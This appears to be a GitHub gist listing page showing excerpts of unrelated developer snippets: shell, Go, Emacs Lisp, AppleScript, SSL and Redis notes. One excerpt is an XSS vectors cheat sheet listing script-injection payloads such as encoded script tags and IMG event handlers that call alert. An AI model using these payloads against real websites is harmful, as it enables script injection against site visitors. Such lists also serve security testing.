Skip to content

Instantly share code, notes, and snippets.

View maksadbek's full-sized avatar
💭
Chilling

maksadbek

💭
Chilling
View GitHub Profile
@alexdebrie
alexdebrie / .zshrc
Created December 9, 2024 15:26
PSQL to DSQL
function dsql {
local auth_token
auth_token=$(aws dsql generate-db-connect-admin-auth-token \
--region us-east-1 \
--expires-in 3600 \
--hostname CLUSTER_ENDPOINT_URL) || { echo "Failed to generate auth token" >&2; return 1; }
if [ -z "$auth_token" ]; then
echo "Auth token is empty" >&2
return 1
@mrnugget
mrnugget / go_jit.go
Created August 17, 2018 15:18
JITting a function that writes the letter 'H' to a bytes buffer
package main
import (
"bytes"
"fmt"
"github.com/nelhage/gojit"
"github.com/nelhage/gojit/amd64"
)
@mrnugget
mrnugget / pipe_to_jq.el
Last active June 27, 2018 11:10
This binds `<leader>jq` to a command that pipes the current visual selection in evil-mode to `jq` and replaces it with the output.
;; Taken from here: https://emacs.stackexchange.com/questions/34894/how-to-execute-a-command-on-the-selection-shell-command-on-region-in-evil-mode
(defun shell-command-on-region-and-select
(start end command
&optional output-buffer replace
error-buffer display-error-buffer
region-noncontiguous-p)
"Wrapper for 'shell-command-on-region', re-selecting the output.
Useful when called with a selection, so it can be modified in-place"
(interactive)
@croxton
croxton / SSL-certs-OSX.md
Last active January 21, 2025 04:27 — forked from leevigraham/Generate ssl certificates with Subject Alt Names on OSX.md
Generate ssl certificates with Subject Alt Names

Generate ssl certificates with Subject Alt Names on OSX

Open ssl.conf in a text editor.

Edit the domain(s) listed under the [alt_names] section so that they match the local domain name you want to use for your project, e.g.

DNS.1   = my-project.dev

Additional FQDNs can be added if required:

@kurobeats
kurobeats / xss_vectors.txt
Last active April 4, 2025 18:32
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
// Copyright 2016 Google Inc. All rights reserved.
// Use of this source code is governed by the Apache 2.0
// license that can be found in the LICENSE file.
// Command caption reads an audio file and outputs the transcript for it.
package main
import (
"fmt"
"io"
@JonCole
JonCole / Redis-BestPractices-General.md
Last active March 13, 2025 14:30
Redis Best Practices

Some of the Redis best practices content has moved

This content from this markdown file has moved a new, happier home where it can serve more people. Please check it out : https://docs.microsoft.com/azure/azure-cache-for-redis/cache-best-practices.

NOTE: Client specific guidance listed below is still valid and should still be considered. I will update this document once all content has been moved.

@jesstelford
jesstelford / event-loop.md
Last active December 5, 2024 02:05
What is the JS Event Loop and Call Stack?

Regular Event Loop

This shows the execution order given JavaScript's Call Stack, Event Loop, and any asynchronous APIs provided in the JS execution environment (in this example; Web APIs in a Browser environment)


Given the code

@thealexcons
thealexcons / jwt_golang_example.go
Last active April 16, 2023 03:04
JSON Web Tokens in Go
package main
import (
"io/ioutil"
"log"
"strings"
"net/http"
"encoding/json"
"fmt"
"time"
@paulirish
paulirish / open-chrome-tabs-in-safari.scpt
Created April 4, 2016 00:24
open chrome tabs in safari
tell application "Google Chrome"
set tab_list to every tab in the front window
repeat with the_tab in tab_list
set the_url to the URL of the_tab
tell application "Safari" to open location the_url
end repeat
end tell